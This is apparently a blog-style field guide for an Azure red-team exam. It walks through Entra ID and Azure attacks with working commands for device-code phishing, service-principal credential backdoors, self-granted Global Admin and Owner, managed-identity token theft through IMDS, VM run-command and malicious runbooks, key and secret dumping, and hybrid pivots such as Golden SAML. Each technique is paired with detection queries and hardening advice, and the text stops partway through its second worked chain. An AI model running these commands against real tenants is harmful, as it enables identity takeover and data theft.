AZRTE Exam - Guided By RedBlock

Updated 2026-07-27· 26 min read· 91 views
Share:

HACKTRICKS AZRTE - AZURE RED TEAM EXPERT

AZRTE Exam - Guided By RedBlock

AZRTE Field Guide — Azure Red Team Expert (HackTricks)

A deep, command-driven reference for the HackTricks Azure Red Team Expert (AZRTE) path. Every service section gives more exploit commands with documentation of what each call does, the misconfig/privesc vector, a worked example, and Detect & Harden (with example KQL). Covers Entra ID + Azure fundamentals → tokens/APIs → enumeration → exploitation & chaining → methodologies → Entra↔AD hybrid pivoting → detection → two worked attack chains.

Per-topic format: Enumerate (az / Graph / PowerShell) → Misconfig / privescExampleDetect & Harden. ⚠️ Authorized use only. Every command targets tenants/subscriptions you own or are contractually engaged to test. Azure/Graph/AAD calls are logged and attributable — stay in scope, retain evidence, remediate what you prove. AZRTE is purple-team: exploit to prove impact, then close the gap.


Table of Contents

  1. Azure & Entra ID Fundamentals

  2. Azure Tokens & APIs (deep)

  3. Tooling, Modules & Setup

  4. Credential Access & Initial Access

  5. Entra ID IAM — Enumeration & Privilege Escalation

  6. Azure IAM (RBAC)

  7. Azure Applications & Service Principals

  8. Azure Key Vault

  9. Virtual Machines & Networking

  10. Storage Accounts, File Share, Table & Queue

  11. Databases: SQL, MySQL/PostgreSQL, CosmosDB

  12. App Service, Function Apps & Static Web Apps

  13. Containers: ACR, ACI, Container Apps & Jobs

  14. Automation Accounts & Logic Apps

  15. Service Bus, Cloud Shell & Virtual Desktop

  16. Methodologies (White box, Black box)

  17. Pivoting between Entra ID & AD (hybrid)

  18. Conditional Access & MFA Bypass

  19. Persistence Techniques (and telemetry)

  20. Deep Enumeration & Attack-Path Queries

  21. Detection Mechanisms (Entra logs, Sentinel KQL, Defender)

  22. Defense / Hardening Master Checklist

  23. Worked Attack Chain #1 — Device-code phish → Global Admin → Owner

  24. Worked Attack Chain #2 — Managed identity (IMDS) → subscription takeover

  25. Worked Attack Chain #3 — Consent phishing → Graph data → SP escalation

  26. Quick Reference & Glossary


1. Azure & Entra ID Fundamentals

Two hierarchies, two planes:

  • Resource plane: Tenant → Management Groups → Subscriptions → Resource Groups → Resources, governed by Azure RBAC (Owner/Contributor/Reader/User Access Administrator + resource-specific roles) at a scope.

  • Identity plane (Entra ID): the directory of users, groups, service principals, app registrations, managed identities, governed by Entra roles (Global Administrator, Privileged Role Administrator, Application Administrator, …).

The bridge (exam-central): Entra roles ≠ Azure RBAC — except a Global Administrator can toggle "Access management for Azure resources" to receive User Access Administrator at root scope, converting identity dominance into resource dominance. That single toggle (elevateAccess) is a top privesc.

Principals: users; groups (assigned or dynamic — rule-based membership); service principals (the tenant instance of an app); app registrations (the app object + its credentials/permissions); managed identities (system- or user-assigned, passwordless SPs bound to Azure resources).

Permission models to keep straight: Entra roles (directory), Azure RBAC (resources), Graph app roles / delegated scopes (what an app/SP can do to Graph), and resource-local models (Key Vault access policies, Storage keys/SAS). Most findings are a customer misconfig in one of these.


2. Azure Tokens & APIs (deep)

Model: authenticate to Entra ID → receive an access token (short-lived JWT for one audience) + a refresh token (long-lived; mints new access tokens, sometimes for other audiences via FOCI family-client-IDs). Whoever holds a refresh token holds durable access.

Audiences you'll request:

az account get-access-token --resource https://management.azure.com  --query accessToken -o tsv   # ARM (resources)
az account get-access-token --resource https://graph.microsoft.com   --query accessToken -o tsv   # Graph (identity)
az account get-access-token --resource https://vault.azure.net        --query accessToken -o tsv   # Key Vault
az account get-access-token --resource https://storage.azure.com      --query accessToken -o tsv   # Storage
az account get-access-token --resource https://database.windows.net   --query accessToken -o tsv   # Azure SQL

Decode a token (know what you hold):

TOKEN=$(az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv)
echo "$TOKEN" | cut -d. -f2 | sed 's/-/+/g;s/_/\//g' | base64 -d 2>/dev/null | jq '{aud,scp,roles,oid,tid,upn,appid}'

Claim cheat: aud=target API · scp=delegated scopes (user context) · roles=app permissions (SP context) · oid=principal object id · tid=tenant · appid=the client app. Raw API calls (when the CLI lacks a verb):

az rest --method GET  --url "https://graph.microsoft.com/v1.0/me"
az rest --method GET  --url "https://management.azure.com/subscriptions?api-version=2020-01-01"
# manual token use:
curl -s -H "Authorization: Bearer $TOKEN" "https://graph.microsoft.com/v1.0/organization" | jq .

FOCI pivot (Graph token → ARM token from one refresh token): family clients (Azure CLI, Az PowerShell, Office) share refresh tokens — request a new audience with the same RT (TokenTactics / roadtx). This is how a phished Office token becomes an ARM token.


3. Tooling, Modules & Setup

az login                              # interactive / --use-device-code / --service-principal
az login --use-device-code            # device-code flow
az login --service-principal -u <appId> -p <secret> --tenant <tid>
az account show; az account list -o table
Connect-AzAccount ; Connect-MgGraph -Scopes "Directory.Read.All","Application.Read.All"
Get-AzContext; Get-AzRoleAssignment; Get-MgUser -All

Tool → phase map (authorized):

Tool

Phase / use

roadrecon (ROADtools)

Full Entra dump from a token → local DB + GUI (roadrecon gather, roadrecon gui)

AzureHoundBloodHound

Graph Entra + RBAC attack paths (owns/adds-secret-to/member-of/has-role)

MicroBurst

PowerShell: enum, dump Key Vault/automation secrets, storage, managed identity

PowerZure

Azure enumeration & exploitation cmdlets

AADInternals

Hybrid identity, AD Connect, token/PRT, Golden SAML

TokenTactics / roadtx

Token manipulation, FOCI pivots, device-code phishing

Stormspotter / ScoutSuite / Prowler(Azure)

Graph/audit posture

# roadrecon (deep Entra enumeration from your creds/token)
roadrecon auth -u user@tenant -p '***'      # or --device-code / --access-token
roadrecon gather                             # pull the whole directory
roadrecon gui                                # browse users/apps/roles/CAPs
# AzureHound (attack-path graph)
azurehound -u user@tenant -p '***' --tenant <tid> list -o azurehound.json

Op notes: identity lives in Graph, resources in ARM — get a token for each. Enumeration is heavy; prefer targeted queries when stealth matters (everything is logged, §18).


4. Credential Access & Initial Access

Device-code phishing (top identity foothold):

# 1) initiate the device-code flow for a first-party client (e.g. Azure CLI appId)
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
  -d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46&scope=https://graph.microsoft.com/.default offline_access"
# 2) relay the returned user_code + verification_uri to the target (they sign in)
# 3) poll the token endpoint until they authenticate -> you receive access + refresh tokens
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=04b07795-...&device_code=<dc>"
# (TokenTactics: Invoke-DeviceCodePhish automates this)

Illicit consent grant (consent phishing): register an app requesting Mail.Read offline_access (etc.), send the consent URL; on user consent you get a refresh token to their data — no password, MFA-agnostic. Managed identity / IMDS (after landing on compute) — see §9/§12; the classic non-phishing pivot. Leaked secrets: SP client secrets/certs in code/CI/ARM templates/storage; ~/.azure token cache; az/Az context; PRT/token caches on hosts (AADInternals Get-AADIntUserPRTToken). Detect & Harden: Conditional Access (block device-code where unneeded, require MFA/compliant device), admin-consent-only app policy, monitor risky sign-ins + new consents, scan repos/CI for secrets.


5. Entra ID IAM — Enumeration & Privilege Escalation

Enumerate (Graph, documented)

az rest --url "https://graph.microsoft.com/v1.0/me"                                 # you
az rest --url "https://graph.microsoft.com/v1.0/me/memberOf"                        # your groups/roles
az rest --url "https://graph.microsoft.com/v1.0/users?\$select=displayName,userPrincipalName,id"
az rest --url "https://graph.microsoft.com/v1.0/groups?\$select=displayName,id,membershipRule"   # dynamic rules
az rest --url "https://graph.microsoft.com/v1.0/servicePrincipals?\$select=displayName,appId,id"
az rest --url "https://graph.microsoft.com/v1.0/directoryRoles"                     # activated roles
az rest --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
az rest --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"       # who can register apps/consent
az rest --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" # CA policies (gaps)
az ad user list -o table; az ad group list -o table; az ad sp list --all -o table

High-value Entra roles & what each buys you:

Role

Grants

Global Administrator

Everything; can elevateAccess to Azure root

Privileged Role Administrator

Assign any Entra role → self-grant GA

Application / Cloud App Administrator

Add credentials to any SP → act as it (incl. privileged SPs)

Privileged Authentication Administrator

Reset creds/MFA of admins → take over GA

User Administrator

Reset non-admin passwords

Groups Administrator / group owner

Control group membership → inherited access

Intune Administrator

Push scripts to devices → cloud→endpoint code exec

Privilege-escalation vectors (with commands)

Add a secret to a privileged SP (Application Administrator / app owner):

az ad app credential reset --id <appId> --append --years 1        # returns a client secret you control
# or add a cert; then authenticate AS the SP:
az login --service-principal -u <appId> -p <secret> --tenant <tid>
# (Graph equivalent) POST /applications/<id>/addPassword

Assign yourself a directory role (Privileged Role Admin / SP with RoleManagement.ReadWrite.Directory):

az rest --method POST --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
  --headers "Content-Type=application/json" \
  --body '{"principalId":"<yourOid>","roleDefinitionId":"<GlobalAdminRoleTemplateId>","directoryScopeId":"/"}'

Dynamic-group abuse: if a dynamic group grants access via a rule on a writable attribute, set your attribute to match:

az rest --method PATCH --url "https://graph.microsoft.com/v1.0/users/<yourId>" --body '{"department":"Admins"}'

Reset a target's password (User Administrator):

az rest --method POST --url "https://graph.microsoft.com/v1.0/users/<targetId>/authentication/passwordMethods/<id>/resetPassword" --body '{"newPassword":"<pw>"}'

Detect & Harden: PIM (JIT + approval) for privileged roles; alert on Add member to role, Add service principal credentials, dynamic-rule changes, password resets; restrict app registration/consent; minimize GA count; Identity Protection risk policies.


6. Azure IAM (RBAC)

Enumerate

az role assignment list --all -o table
az role assignment list --assignee <objId> --all -o table
az role definition list --query "[?roleName=='Owner' || roleName=='User Access Administrator']" -o table
az account management-group list; az account list -o table; az group list -o table; az resource list -o table

Dangerous roles: Owner (full + RBAC), User Access Administrator (grant RBAC → self-Owner), Contributor (manage resources, not RBAC — but can run code on identities), and powerful resource roles (VM Contributor, Key Vault Administrator, Storage Account Contributor, Automation Contributor).

Privesc:

# User Access Administrator / Owner -> assign yourself Owner:
az role assignment create --assignee <yourOid> --role Owner --scope /subscriptions/<sub>
# Global Admin bridge (identity -> resources): elevate to User Access Administrator at ROOT
az rest --method POST --url "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
az role assignment create --assignee <yourOid> --role Owner --scope /   # now possible at root

Contributor → code → managed-identity token (when you can't assign RBAC but can run code): run-command a VM / deploy a Function → steal its managed-identity token (often broader) → act as it. Detect & Harden: least-privilege RBAC; PIM for privileged RBAC; deny assignments; alert on Microsoft.Authorization/roleAssignments/write and elevateAccess.


7. Azure Applications & Service Principals

az ad app list --query "[].{name:displayName,appId:appId,id:id}" -o table
az ad sp list --all --query "[].{name:displayName,appId:appId}" -o table
az ad app owner list --id <appId>                                  # who can add creds
az ad app credential list --id <appId>                            # existing secrets/certs
az rest --url "https://graph.microsoft.com/v1.0/servicePrincipals/<id>/appRoleAssignments"   # app permissions granted
az rest --url "https://graph.microsoft.com/v1.0/oauth2PermissionGrants"                       # delegated consents

Misconfig / privesc: SPs with dangerous Graph app rolesRoleManagement.ReadWrite.Directory (grant any role), Application.ReadWrite.All (add creds to any app → SP takeover), Directory.ReadWrite.All, AppRoleAssignment.ReadWrite.All, PrivilegedAccess.ReadWrite.*. Owners who can addPassword. Over-broad admin-consented delegated scopes. Multi-tenant apps trusting external identities. Example — SP with Application.ReadWrite.All grants itself GA path: use it to add a credential to a more-privileged SP, or assign a directory role via §5. Detect & Harden: minimize app permissions; review admin consents; alert on credential additions + new app-role grants; workload identity federation over long-lived secrets; restrict app ownership/registration.


8. Azure Key Vault

az keyvault list -o table
az keyvault show -n <vault> --query "properties.{rbac:enableRbacAuthorization,net:networkAcls}"   # RBAC vs access-policy, public?
az keyvault secret list --vault-name <vault> -o table
az keyvault secret show --vault-name <vault> --name <secret> --query value -o tsv                 # read a secret
az keyvault key list --vault-name <vault>; az keyvault certificate list --vault-name <vault>
# via a stolen Key Vault-audience token (managed identity):
TOKEN=$(curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)
curl -s -H "Authorization: Bearer $TOKEN" "https://<vault>.vault.azure.net/secrets?api-version=7.4" | jq .

Misconfig: over-permissive access policies or Key Vault RBAC (Administrator/Secrets User) to the wrong principals; a VM/App managed identity with vault access (token→secret pivot); public network access on. Detect & Harden: RBAC over access policies + least privilege; private endpoints; purge protection + soft delete; diagnostic logging → Sentinel; alert on bulk SecretGet.


9. Virtual Machines & Networking

az vm list -d -o table                                            # -d shows power state + IPs
az vm identity show -g <rg> -n <vm>                               # managed identity attached?
az network nsg rule list --nsg-name <nsg> -g <rg> -o table        # exposure (RDP/SSH to *?)
az vm list-skus; az disk list -o table                           # disks/snapshots (data theft)

RCE via run-command (VM Contributor / runCommand/action):

az vm run-command invoke -g <rg> -n <vm> --command-id RunShellScript \
  --scripts "id; hostname; curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"
# Windows:  --command-id RunPowerShellScript  --scripts "whoami; Invoke-RestMethod -Headers @{Metadata='true'} -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"

IMDS managed-identity token theft (inside the VM):

curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq -r .access_token
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq .   # instance metadata
# use the token as ARM:
az login --identity 2>/dev/null || curl -s -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"

Then act with the VM identity's RBAC (often Contributor on the RG). Also: Custom Script Extension (az vm extension set) is another code path; disk snapshots can be copied/downloaded for offline data theft. Detect & Harden: least-privilege managed identities; restrict runCommand/extension write; tight NSGs + Just-in-Time VM Access (Defender); alert on run-command and IMDS token requests; private snapshots.


10. Storage Accounts, File Share, Table & Queue

az storage account list -o table
az storage account show -n <acct> --query "{public:allowBlobPublicAccess,net:networkRuleSet.defaultAction}"
az storage account keys list -g <rg> -n <acct> -o table            # account keys = FULL control (don't expire)
az storage container list --account-name <acct> --auth-mode login -o table
az storage blob list -c <container> --account-name <acct> --auth-mode login -o table
az storage blob download -c <container> -n <blob> --account-name <acct> --auth-mode login -f loot.bin
# anonymous/public container check (no auth):
curl -s "https://<acct>.blob.core.windows.net/<container>?restype=container&comp=list"
# generate a SAS if you hold a key (durable, scoped URL):
az storage container generate-sas --account-name <acct> -n <container> --permissions rlacw --expiry 2099-01-01 --account-key <key>
# File share / Table / Queue:
az storage share list --account-name <acct>; az storage file list -s <share> --account-name <acct>
az storage entity query -t <table> --account-name <acct> --auth-mode login
az storage message peek -q <queue> --account-name <acct> --auth-mode login

Misconfig: public/anonymous blob containers; leaked account keys (full, non-expiring) or over-scoped SAS; secrets in blobs/tables; Contributor RBAC that can listKeys → full data. MicroBurst can hunt public blobs by wordlist. Detect & Harden: disable public/anonymous access; Entra auth (--auth-mode login) over keys; short user-delegation SAS; rotate keys; private endpoints; Defender for Storage + logging.


11. Databases: SQL, MySQL/PostgreSQL, CosmosDB

az sql server list -o table; az sql db list -s <server> -g <rg> -o table
az sql server firewall-rule list -s <server> -g <rg> -o table       # 0.0.0.0-255.255.255.255 = open?
az sql server ad-admin list -s <server> -g <rg>                     # Entra admin
az mysql server list -o table; az postgres server list -o table
az cosmosdb list -o table
az cosmosdb keys list -n <acct> -g <rg> --type keys                 # Cosmos primary key = full data
az cosmosdb keys list -n <acct> -g <rg> --type connection-strings
# connect with Entra token to SQL:
az account get-access-token --resource https://database.windows.net --query accessToken -o tsv

Misconfig: open firewall / "Allow Azure services"; leaked Cosmos keys; SQL admin over-grants; creds in connection strings (App Service settings, Key Vault, code); public network access. Detect & Harden: no open firewall rules; Entra auth + least privilege; private endpoints; rotate keys; auditing + Defender for SQL/OSS DBs.


12. App Service, Function Apps & Static Web Apps

az webapp list -o table; az functionapp list -o table
az webapp config appsettings list -g <rg> -n <app> -o table          # secrets/conn-strings in settings!
az webapp identity show -g <rg> -n <app>                             # managed identity?
az webapp deployment list-publishing-credentials -g <rg> -n <app>    # SCM/Kudu creds -> deploy code
az functionapp keys list -g <rg> -n <fn>                             # master/function keys

RCE & pivot:

  • Kudu/SCM consolehttps://<app>.scm.azurewebsites.net/DebugConsole gives a shell in the app container (with publish creds).

  • Deploy/overwrite code (zip deploy / publish creds) → run as the app's managed identity. App Service exposes the identity via env vars, not 169.254:

# inside App Service / Function (App Service auth model):
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
  "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" | jq -r .access_token
# -> ARM/Graph/Key Vault token for the app's identity

Function Apps: master/function keys allow invoking/administering; injected code → same managed-identity pivot. Static Web Apps: exposed API functions, weak auth/role config. Detect & Harden: secrets as Key Vault references (not app settings); disable SCM basic-auth/restrict publishing; least-privilege managed identity; monitor deployments + Kudu access.


13. Containers: ACR, ACI, Container Apps & Jobs

az acr list -o table; az acr repository list -n <registry> -o table
az acr credential show -n <registry>                                # ADMIN user creds (if enabled) = static push/pull
az acr login -n <registry>; docker pull <registry>.azurecr.io/<repo>:<tag>   # inspect layers for secrets
az container list -o table                                          # ACI
az container exec -g <rg> -n <aci> --exec-command "/bin/sh"         # shell into a container instance
az containerapp list -o table; az containerapp job list -o table

Misconfig: ACR admin user enabled (static creds); images embedding secrets; anonymous/over-shared pull; containers/ACI/Container Apps with an over-privileged managed identity (IMDS/IDENTITY_ENDPOINT pivot). az acr build/task runs as a registry identity. Detect & Harden: disable ACR admin user (Entra/tokens); scan images (Defender for Containers); no secrets in images; least-privilege identities; private registries.


14. Automation Accounts & Logic Apps

az automation account list -o table
az automation runbook list --automation-account-name <aa> -g <rg> -o table
az rest --url "https://management.azure.com/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.Automation/automationAccounts/<aa>/runbooks?api-version=2019-06-01"
az rest --url ".../automationAccounts/<aa>/variables?api-version=2019-06-01"      # stored variables/secrets
az logic workflow list -o table
az rest --url "https://management.azure.com/subscriptions/<sub>/providers/Microsoft.Logic/workflows?api-version=2019-05-01"

Privesc — runbook RCE as the automation identity (often Contributor/Owner):

# create/import a PowerShell runbook that steals a token & acts, then publish + start it
az automation runbook create --automation-account-name <aa> -g <rg> -n pwn --type PowerShell
az automation runbook replace-content --automation-account-name <aa> -g <rg> -n pwn --content @pwn.ps1
az automation runbook publish --automation-account-name <aa> -g <rg> -n pwn
az automation job create --automation-account-name <aa> -g <rg> --runbook-name pwn
# pwn.ps1 (concept): Connect-AzAccount -Identity ; then read Key Vault / assign roles as the automation identity

Logic Apps: abusable API connections + managed identity; HTTP-trigger workflows with a guessable/exposed URL may allow unauthenticated invocation of privileged flows. Detect & Harden: least-privilege automation/Logic identities; restrict runbook create/edit/start; protect stored variables/credentials; authenticate Logic triggers; monitor job creation.


15. Service Bus, Cloud Shell & Virtual Desktop

az servicebus namespace list -o table
az servicebus namespace authorization-rule keys list --namespace-name <ns> -g <rg> --name RootManageSharedAccessKey
# Cloud Shell backing storage (holds the user's files/tokens):
az storage account list --query "[?tags.\"ms-resource-usage\"=='azure-cloud-shell']"
# AVD host pools (domain-joined session hosts -> on-prem foothold):
az rest --url "https://management.azure.com/subscriptions/<sub>/providers/Microsoft.DesktopVirtualization/hostPools?api-version=2022-02-10-preview"

Misconfig: Service Bus SAS keys (esp. RootManageSharedAccessKey) → full send/receive/manage; Cloud Shell file share can hold tokens/creds and a compromised session runs as the user; AVD session hosts are domain-joined → pivot to on-prem AD (§17). Detect & Harden: scoped SAS (not Root) + rotation; protect Cloud Shell storage; isolate AVD host pools; monitor.


16. Methodologies

White box (given a principal / config export)

  1. Identify: az account show; decode tokens (§2); Get-AzRoleAssignment; Graph /me, /me/memberOf.

  2. Graph the tenant: roadrecon gather + AzureHound→BloodHound — Entra role edges, app ownership, group membership, RBAC paths, dynamic-group rules, CA gaps.

  3. Map privesc edges (§5/§6): role assignments, app-credential-add rights, dynamic groups, managed identities, GA→elevateAccess.

  4. Find data sinks: Key Vault, Storage, DBs, app settings.

  5. Chain → Global Admin / Owner, logging every call.

  6. Report with least-privilege fixes.

Black box (from leaked creds / foothold)

  1. Authenticate; enumerate what the principal sees (roadrecon, az, Graph); decode the token audience/roles.

  2. Hunt readable secrets (Key Vault, storage, app settings) and managed identities to pivot.

  3. Land on compute (VM/App/Function/Automation/ACI) → IMDS/IDENTITY_ENDPOINT token → act as its identity.

  4. Escalate via Entra/RBAC edges to GA/Owner; consider device-code/consent phishing for identity footholds.


17. Pivoting between Entra ID & AD (hybrid)

Hybrid tenants sync on-prem AD ↔ Entra via Entra Connect (AD Connect) — a two-way surface.

On-prem AD → cloud:

# on/against the Entra Connect server (AADInternals):
Get-AADIntSyncCredentials              # extract the sync (MSOL_) account creds from AD Connect
Get-AADIntCloudSyncCredentials
# with sync creds -> replicate/act in the cloud; or DCSync on-prem then use cloud-relevant creds
  • Entra Connect server = Tier-0: compromise it → Get-AADIntSyncCredentials → the sync account is highly privileged in Entra.

  • PHS (Password Hash Sync): the sync path lets you read/replicate hashes; DCSync on-prem → crack/pass.

  • PTA (Pass-Through Auth): implant on the PTA agent → intercept cleartext tenant auth.

  • Seamless SSO (AZUREADSSOACC$): its Kerberos key enables Silver-Ticket-style forging of cloud auth.

  • Golden SAML (AD FS): steal the token-signing certificate → forge SAML assertions → sign in as any user to federated apps, bypassing MFA (New-AADIntSAMLToken/Export-AADIntADFSSigningCertificate).

Cloud → on-prem AD:

  • Intune (Global/Intune Admin): push a script/app to enrolled endpoints → run code on on-prem-joined machines.

  • Hybrid-joined Azure VMs / AVD hosts: domain-joined → run-command → on-prem AD foothold.

Detect & Harden: Entra Connect / AD FS as Tier-0; protect the token-signing cert; monitor sync-account use, Golden-SAML indicators, Intune script deployments; isolate hybrid-join paths.


18. Conditional Access & MFA Bypass

Conditional Access (CA) is Entra's policy engine (require MFA / compliant device / block legacy). Red-team value: find the gap that lets a stolen credential in without MFA.

Enumerate CA policies & find gaps:

az rest --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" | \
  jq '.value[] | {name:.displayName,state,users:.conditions.users,apps:.conditions.applications,controls:.grantControls}'
# look for: excluded users/groups, excluded apps, "legacy auth" not blocked, trusted-location carve-outs, report-only policies

Bypass classes (concept):

  • Legacy authentication (IMAP/POP/SMTP/older Exchange) often ignores MFA — if not blocked, password-spray legacy endpoints.

  • Device-code flow is frequently not covered by CA app conditions → phish a device code even when interactive login requires MFA.

  • Token theft = post-MFA: a stolen refresh token / PRT / session cookie already passed MFA — replaying it needs no second factor (roadtx, TokenTactics, AADInternals PRT).

  • Excluded principals / apps: a break-glass account or an app excluded "for compatibility" is an unguarded path.

  • Guest/B2B and service principals are often out of scope of user-focused CA. Detect & Harden: block legacy auth; require MFA + compliant/hybrid-joined device (defeats simple token replay); include device-code in CA; minimize exclusions; enable Continuous Access Evaluation and token protection; monitor sign-ins with authenticationRequirement=singleFactor on privileged accounts.


19. Persistence Techniques (and telemetry)

Understand these to establish (authorized) and to detect:

Technique

Command (authorized)

Audit/Activity event

Backdoor SP credential

az ad app credential reset --id <appId> --append

Add service principal credentials

Federated identity credential (passwordless backdoor)

Graph POST /applications/<id>/federatedIdentityCredentials

Update application

Add app owner (regain cred-add rights)

az ad app owner add --id <appId> --owner-object-id <oid>

Add owner to application

Grant SP a privileged app role

Graph POST /servicePrincipals/<id>/appRoleAssignedTo

Add app role assignment

Eligible PIM assignment (stealthy role)

Graph PIM roleEligibilityScheduleRequests

Add eligible member (PIM)

Backdoor Conditional Access (exclude your account)

Graph PATCH conditionalAccess/policies/<id>

Update conditional access policy

Invite a guest you control

az rest POST /invitations

Invite external user

Golden SAML (federated, durable)

AADInternals Export-AADIntADFSSigningCertificate

(on-prem; hard to see in cloud)

Azure RBAC backdoor (Owner at a scope)

az role assignment create --assignee <oid> --role Owner --scope <s>

roleAssignments/write

Harden: alert on all of the above — especially federated-credential adds, SP credential adds, CA policy edits, and new eligible PIM assignments; review app owners; treat break-glass exclusions as monitored.


20. Deep Enumeration & Attack-Path Queries

roadrecon (offline Entra analysis from one token):

roadrecon auth --device-code                 # or -u/-p / --access-token
roadrecon gather                             # full directory into roadrecon.db
roadrecon gui                                # browse users, apps, roles, CAPs, MFA methods
roadrecon plugin policies                    # dump CA policies

AzureHound → BloodHound (attack paths): ingest azurehound … list -o out.json, then hunt edges:

// who can escalate to Global Admin?
MATCH p=shortestPath((n)-[*1..]->(m:AZRole {displayname:"Global Administrator"})) RETURN p
// principals that can add credentials to a privileged service principal
MATCH (u)-[:AZAddSecret|AZOwns]->(sp:AZServicePrincipal) RETURN u.name, sp.name
// Owners of subscriptions / User Access Administrators
MATCH (u)-[:AZOwns|AZUserAccessAdministrator]->(s:AZSubscription) RETURN u.name, s.name

MicroBurst (PowerShell) quick wins:

Get-AzPasswords                              # dump Key Vault secrets, automation creds, storage keys, app settings
Invoke-EnumerateAzureBlobs -Base <name>      # find public blobs by wordlist
Get-AzDomainInfo                             # broad tenant recon

Graph one-liners worth saving:

az rest --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?\$expand=principal"  # who has which role
az rest --url "https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appRoles/any(r:r/value eq 'RoleManagement.ReadWrite.Directory')"
az rest --url "https://graph.microsoft.com/v1.0/groups?\$filter=groupTypes/any(c:c eq 'DynamicMembership')"    # dynamic groups
az rest --url "https://graph.microsoft.com/v1.0/users?\$filter=userType eq 'Guest'"                            # guests

21. Detection Mechanisms (Entra logs, Sentinel KQL, Defender)

Entra ID & Azure logging

az monitor activity-log list --offset 2h --query "[].{op:operationName.value,caller:caller,status:status.value}" -o table
az rest --url "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?\$top=20&\$orderby=activityDateTime desc"
az rest --url "https://graph.microsoft.com/v1.0/auditLogs/signIns?\$top=20"
  • Entra Sign-in logs — auth events, location, MFA, CA result, risk.

  • Entra Audit logs — directory changes: role assignments, Add service principal credentials, consent grants, group changes.

  • Azure Activity Log — control-plane ops: roleAssignments/write, runCommand, listKeys, elevateAccess.

Microsoft Sentinel — example KQL (the red-team tells)

// new credential added to a service principal / app
AuditLogs
| where OperationName in ("Add service principal credentials","Update application – Certificates and secrets management")
| project TimeGenerated, InitiatedBy, TargetResources
// GA elevate-access to Azure root
AzureActivity
| where OperationNameValue has "elevateAccess"
// privileged role added
AuditLogs
| where OperationName == "Add member to role" and TargetResources has "Global Administrator"
// mass Key Vault secret reads
AzureDiagnostics
| where ResourceType == "VAULTS" and OperationName == "SecretGet"
| summarize c=count() by CallerIPAddress, bin(TimeGenerated, 5m) | where c > 20

Microsoft Defender for Cloud & EASM

  • Defender for Cloud — CSPM (Secure Score, recommendations) + workload protection (Servers/Storage/SQL/Containers/Key Vault) alerts.

  • Defender EASM — external attack-surface discovery.

  • Defender XDR / MDE / MDI — endpoint + identity signals into one incident graph. Harden: Entra diagnostic settings → Log Analytics/Sentinel; Defender for Cloud plans on; Identity Protection risk policies; alert on the tells above.


22. Defense / Hardening Master Checklist

  • Identity: least-privilege Entra roles; PIM (JIT+approval) for GA/PRA/UAA; minimal GAs; admin-consent-only + restrict app registration.

  • Apps/SPs: minimal Graph app roles (no *.ReadWrite.All sprawl); workload-identity federation over secrets; alert on credential adds + app-role grants; review consents.

  • RBAC: least privilege; avoid Owner/UAA sprawl; deny assignments; monitor roleAssignments/write + elevateAccess.

  • Managed identities: least privilege; restrict runCommand/deploy/runbook; treat IMDS/IDENTITY_ENDPOINT as sensitive.

  • Data: no public storage/anonymous blobs; Entra-auth over keys/SAS; Key Vault RBAC + private endpoints; no open DB firewall; rotate keys.

  • Hybrid: Entra Connect / AD FS Tier-0; protect token-signing cert; monitor sync account + Golden-SAML.

  • Detection: Entra diagnostics → Sentinel; Defender for Cloud on; Identity Protection; alert on role/credential/consent/elevateAccess/runCommand/KV-read anomalies.


23. Worked Attack Chain #1 — Device-code phish → Global Admin → Owner

Authorized/lab.

  1. Initial access: device-code phish → victim signs in → you get their refresh token → mint Graph + ARM tokens (FOCI). Telemetry: unfamiliar sign-in. Fix: CA block device-code / require compliant device.

  2. Enumerate: roadrecon/AzureHound → the user owns an app registration whose SP holds Application.ReadWrite.All. Fix: remove app-owner sprawl.

  3. Privesc (SP takeover): az ad app credential reset --id <appId> --appendaz login --service-principal ... as the privileged SP. Telemetry: Add service principal credentials. Fix: alert on credential adds.

  4. Entra escalation: use Application.ReadWrite.All / a directory-role assignment → reach Privileged Role Admin → assign Global Admin. Telemetry: Add member to role. Fix: PIM + alerting.

  5. Bridge to resources: as GA, elevateAccessUser Access Administrator at root → assign Owner on the subscription. Telemetry: elevateAccess (very high signal). Fix: alert on it.

  6. Loot: read Key Vault secrets, dump storage/Cosmos keys, run-command a VM for its managed-identity token. Chain: phish → app-owner → SP secret add → PRA → GAelevateAccess → Owner → loot. Any one fix breaks it.


24. Worked Attack Chain #2 — Managed identity (IMDS) → subscription takeover

Authorized/lab. Entry: an SSRF or RCE on an Azure-hosted app/VM.

  1. Foothold: SSRF/RCE on a VM or App Service. For SSRF, force the server to hit the metadata endpoint:

    http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/   (Header: Metadata:true)
    

    (App Service: use IDENTITY_ENDPOINT + IDENTITY_HEADER instead.)

  2. Steal the managed-identity token for ARM; confirm what it is:

